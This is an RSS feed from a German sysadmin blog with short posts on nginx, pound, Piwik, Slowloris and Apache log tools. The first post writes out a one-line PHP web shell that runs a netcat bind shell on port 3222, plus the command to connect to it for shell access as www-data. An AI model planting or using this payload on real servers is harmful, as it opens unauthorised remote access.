<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>exdc &#187; apache</title>
	<atom:link href="http://exdc.net/tag/apache/feed/" rel="self" type="application/rss+xml" />
	<link>http://exdc.net</link>
	<description></description>
	<lastBuildDate>Fri, 19 Mar 2010 09:29:23 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>de-de</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<!-- podcast_generator="podPress/8.8" - maintenance_release="8.8.4" -->
		<copyright>2006-2007 </copyright>
		<managingEditor>thomas@exdc.net (exdc)</managingEditor>
		<webMaster>thomas@exdc.net (exdc)</webMaster>
		<category>posts</category>
		<ttl>1440</ttl>
		<itunes:keywords></itunes:keywords>
		<itunes:subtitle></itunes:subtitle>
		<itunes:summary></itunes:summary>
		<itunes:author>exdc</itunes:author>
		<itunes:category text="Society &amp; Culture"/>
		<itunes:owner>
			<itunes:name>exdc</itunes:name>
			<itunes:email>thomas@exdc.net</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://kero.hopto.org/wordpress2/wp-content/plugins/podpress/images/powered_by_podpress.jpg" />
		<image>
			<url>http://kero.hopto.org/wordpress2/wp-content/plugins/podpress/images/powered_by_podpress.jpg</url>
			<title>exdc</title>
			<link>http://exdc.net</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>how to get shell access in no mans land</title>
		<link>http://exdc.net/2010/02/03/how-to-get-shell-acces-in-no-mans-land/</link>
		<comments>http://exdc.net/2010/02/03/how-to-get-shell-acces-in-no-mans-land/#comments</comments>
		<pubDate>Wed, 03 Feb 2010 09:28:31 +0000</pubDate>
		<dc:creator>kero</dc:creator>
				<category><![CDATA[Megakategorie]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://exdc.net/?p=2344</guid>
		<description><![CDATA[Eine Datei namens givemeshell.php erstellen und auf den Webserver laden, die sollte so was wie
&#60;?php system(&#34;nc -lp 3222 -e /bin/sh&#34;); ?&#62;
enthalten. Danach die Datei per Webbrowser aufrufen und dann lokal
netcat webserver 3222
aufrufen. Und schon hat man unter Debain (Ubuntu sicherlich auch) eine shell als www-data.
Ich hab den Artikel erst nur ueberflogen, wohl weil ich damals [...]]]></description>
			<content:encoded><![CDATA[<p>Eine Datei namens givemeshell.php erstellen und auf den Webserver laden, die sollte so was wie</p>
<pre class="brush: php;">&lt;?php system(&quot;nc -lp 3222 -e /bin/sh&quot;); ?&gt;</pre>
<p>enthalten. Danach die Datei per Webbrowser aufrufen und dann lokal</p>
<pre class="brush: bash;">netcat webserver 3222</pre>
<p>aufrufen. Und schon hat man unter Debain (Ubuntu sicherlich auch) eine shell als www-data.<br />
Ich hab den Artikel erst nur ueberflogen, wohl weil ich damals schon einen LB eingesetzt habe und die Apache Server alle gut abgeschirmt sind. Es ist immer wieder interessant wie schnell man einfache Barrieren umgehen kann.</p>
<p>via <a href="http://nion.modprobe.de/blog/archives/679-security-of-scponlysftp-server-in-combination-with-apache.html">nion's blog</a></p>
]]></content:encoded>
			<wfw:commentRss>http://exdc.net/2010/02/03/how-to-get-shell-acces-in-no-mans-land/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>nginx</title>
		<link>http://exdc.net/2009/11/17/nginx/</link>
		<comments>http://exdc.net/2009/11/17/nginx/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 13:52:22 +0000</pubDate>
		<dc:creator>kero</dc:creator>
				<category><![CDATA[Megakategorie]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[nginx]]></category>

		<guid isPermaLink="false">http://exdc.net/?p=2190</guid>
		<description><![CDATA[Ich bin ja neulich von pound zu nginx gewechselt.  Erst war ich natuerlich skeptisch, weil pound sehr einfach in der Konfiguration ist und nginx doch eher in die Richtung eigener Webserver geht und dementsprechend die Konfiguration etwas mehr Zeit erfordert hat. Nginx laeuft nun seit gut einem Monat und ich bin sehr zufrieden. Die [...]]]></description>
			<content:encoded><![CDATA[<p>Ich bin ja <a href="http://exdc.net/2009/10/06/pound-nginx/">neulich</a> von pound zu nginx gewechselt.  Erst war ich natuerlich skeptisch, weil pound sehr einfach in der Konfiguration ist und nginx doch eher in die Richtung eigener Webserver geht und dementsprechend die Konfiguration etwas mehr Zeit erfordert hat. Nginx laeuft nun seit gut einem Monat und ich bin sehr zufrieden. Die Last ist gering und die Performance sehr gut. Bei ein paar 100000 Requests am Tag, eine gute Leistung. Ach ja, vor pound hatten wir eine LB Appliance (keine F5), im Vergleich dazu faehrt man meiner Meinung nach mit Nginx besser, da man viel flexibler in der Konfiguration ist.</p>
<p>links:<br />
<a href="http://www.monitoringexchange.org/inventory/Check-Plugins/Software/check_nginx-sh">nagios plugin fuer nginx</a><br />
<a href="http://forums.cacti.net/about26458.html">cacti zeugs fuer nginx</a></p>
]]></content:encoded>
			<wfw:commentRss>http://exdc.net/2009/11/17/nginx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>pound -&gt; nginx</title>
		<link>http://exdc.net/2009/10/06/pound-nginx/</link>
		<comments>http://exdc.net/2009/10/06/pound-nginx/#comments</comments>
		<pubDate>Tue, 06 Oct 2009 10:13:22 +0000</pubDate>
		<dc:creator>kero</dc:creator>
				<category><![CDATA[Megakategorie]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[pound]]></category>

		<guid isPermaLink="false">http://exdc.net/?p=2144</guid>
		<description><![CDATA[Umzug von pound nach nginx. Nginx ist schon ein bisschen...maechtiger. Aber nginx braucht laenger um den Ausfall eines backends zu bemerken (trotz proxy_connect_timeout  60, falls das der Alive Option von pound gleichkommt), bzw. bei komplett Ausfall der backends eine Fehlerseite zu liefern, das ging bei pound besser. Die Tage mal die Parameter genauer anschauen. [...]]]></description>
			<content:encoded><![CDATA[<p>Umzug von pound nach nginx. Nginx ist schon ein bisschen...maechtiger. Aber nginx braucht laenger um den Ausfall eines backends zu bemerken (trotz proxy_connect_timeout  60, falls das der Alive Option von pound gleichkommt), bzw. bei komplett Ausfall der backends eine Fehlerseite zu liefern, das ging bei pound besser. Die Tage mal die Parameter genauer anschauen. Das access.log schaltet man uebrigens einfach mit  <em>access_log  off</em> ab.</p>
]]></content:encoded>
			<wfw:commentRss>http://exdc.net/2009/10/06/pound-nginx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Piwik</title>
		<link>http://exdc.net/2009/07/02/piwik-2/</link>
		<comments>http://exdc.net/2009/07/02/piwik-2/#comments</comments>
		<pubDate>Thu, 02 Jul 2009 15:09:47 +0000</pubDate>
		<dc:creator>kero</dc:creator>
				<category><![CDATA[Megakategorie]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[piwik]]></category>

		<guid isPermaLink="false">http://exdc.net/?p=1990</guid>
		<description><![CDATA[Nun ist es ja so eine Sache mit google. Die Dienste von google sind super, keine Frage. Nun will man aber nicht unbedingt fuer alles google nutzen. Privat setze ich google analytics ein, beruflich streube ich mich  dagegen. Wer aehnlich denkt sollte sich mal Piwik anschauen. Piwik ist sehr einfach einzurichten und zu konfigurieren, speichert [...]]]></description>
			<content:encoded><![CDATA[<p>Nun ist es ja so eine Sache mit google. Die Dienste von google sind super, keine Frage. Nun will man aber nicht unbedingt fuer alles google nutzen. Privat setze ich google analytics ein, beruflich streube ich mich  dagegen. Wer aehnlich denkt sollte sich mal <a href="http://piwik.org/">Piwik</a> anschauen. Piwik ist sehr einfach einzurichten und zu konfigurieren, speichert default auch keine die IP Daten und sieht gut aus. Updates sind einfach zu installieren und bisher gab es keine Probleme.  Piwik kommt nicht an google ran, keine Frage, aber bei einer 0.4.1er Version muss man das auch noch nicht erwarten. Viele Sachen stoeren noch (Benutzerverwaltung, Verifizierung der Seiten und und und), aber aehnlich wie bei <a href="http://mexdc.exdc.net/">laconica</a>, merkt man den Bedarf an solcher Software und die Motivation der Entwickler. Mal abwarten wie sich Piwik mit ein paar hundert virtuellen Webservern schlaegt.</p>
<p style="text-align: center;"><a href="http://exdc.net/wordpress2/wp-content/uploads/piwik.png"><img class="size-full wp-image-1991 aligncenter" title="piwik" src="http://exdc.net/wordpress2/wp-content/uploads/piwik.png" alt="piwik" width="400" height="200" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://exdc.net/2009/07/02/piwik-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>slow me down baby</title>
		<link>http://exdc.net/2009/06/19/slow-me-down-baby/</link>
		<comments>http://exdc.net/2009/06/19/slow-me-down-baby/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 10:25:13 +0000</pubDate>
		<dc:creator>kero</dc:creator>
				<category><![CDATA[Megakategorie]]></category>
		<category><![CDATA[apache]]></category>

		<guid isPermaLink="false">http://exdc.net/?p=1969</guid>
		<description><![CDATA[dies hier
http://www.golem.de/showhigh2.php?file=/0906/67854.html
http://ha.ckers.org/slowloris/
ist tatsaechlich ein ernsthaftes Problem. Die Tage mal schauen wie man das mit pound oder nginx abfangen kann.
]]></description>
			<content:encoded><![CDATA[<p>dies hier</p>
<p><a href="http://www.golem.de/showhigh2.php?file=/0906/67854.html&amp;wort">http://www.golem.de/showhigh2.php?file=/0906/67854.html</a></p>
<p><a href="http://ha.ckers.org/slowloris/">http://ha.ckers.org/slowloris/</a></p>
<p>ist tatsaechlich ein ernsthaftes Problem. Die Tage mal schauen wie man das mit pound oder nginx abfangen kann.</p>
]]></content:encoded>
			<wfw:commentRss>http://exdc.net/2009/06/19/slow-me-down-baby/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ApachePong</title>
		<link>http://exdc.net/2008/10/13/apachepong/</link>
		<comments>http://exdc.net/2008/10/13/apachepong/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 13:26:13 +0000</pubDate>
		<dc:creator>kero</dc:creator>
				<category><![CDATA[Megakategorie]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://exdc.net/?p=1321</guid>
		<description><![CDATA[
Logfileanalyse mit logstaliga.
zum testen einfach mal
  logstalgia /usr/share/logstalgia/example.log
in die shell eingeben.
]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/BYYX-h4-dpM&#038;color1=0xb1b1b1&#038;color2=0xcfcfcf&#038;hl=es&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/BYYX-h4-dpM&#038;color1=0xb1b1b1&#038;color2=0xcfcfcf&#038;hl=es&#038;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p>Logfileanalyse mit <a href="http://code.google.com/p/logstalgia/">logstaliga</a>.<br />
zum testen einfach mal<br />
  logstalgia /usr/share/logstalgia/example.log<br />
in die shell eingeben.</p>
]]></content:encoded>
			<wfw:commentRss>http://exdc.net/2008/10/13/apachepong/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Komprimiere mich</title>
		<link>http://exdc.net/2008/04/29/komprimiere-mich/</link>
		<comments>http://exdc.net/2008/04/29/komprimiere-mich/#comments</comments>
		<pubDate>Tue, 29 Apr 2008 13:17:47 +0000</pubDate>
		<dc:creator>kero</dc:creator>
				<category><![CDATA[Megakategorie]]></category>
		<category><![CDATA[apache]]></category>

		<guid isPermaLink="false">http://exdc.net/?p=957</guid>
		<description><![CDATA[Ob mod_deflate was bringt? Die Idee dahinter erscheint ja logisch. Ich teste das mal und zwar ab...jetzt.
]]></description>
			<content:encoded><![CDATA[<p>Ob <a href="http://httpd.apache.org/docs/2.0/mod/mod_deflate.html">mod_deflate</a> was bringt? <a href="http://en.wikipedia.org/wiki/HTTP_compression">Die Idee dahinter</a> erscheint ja logisch. Ich teste das mal und zwar ab...jetzt.</p>
]]></content:encoded>
			<wfw:commentRss>http://exdc.net/2008/04/29/komprimiere-mich/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
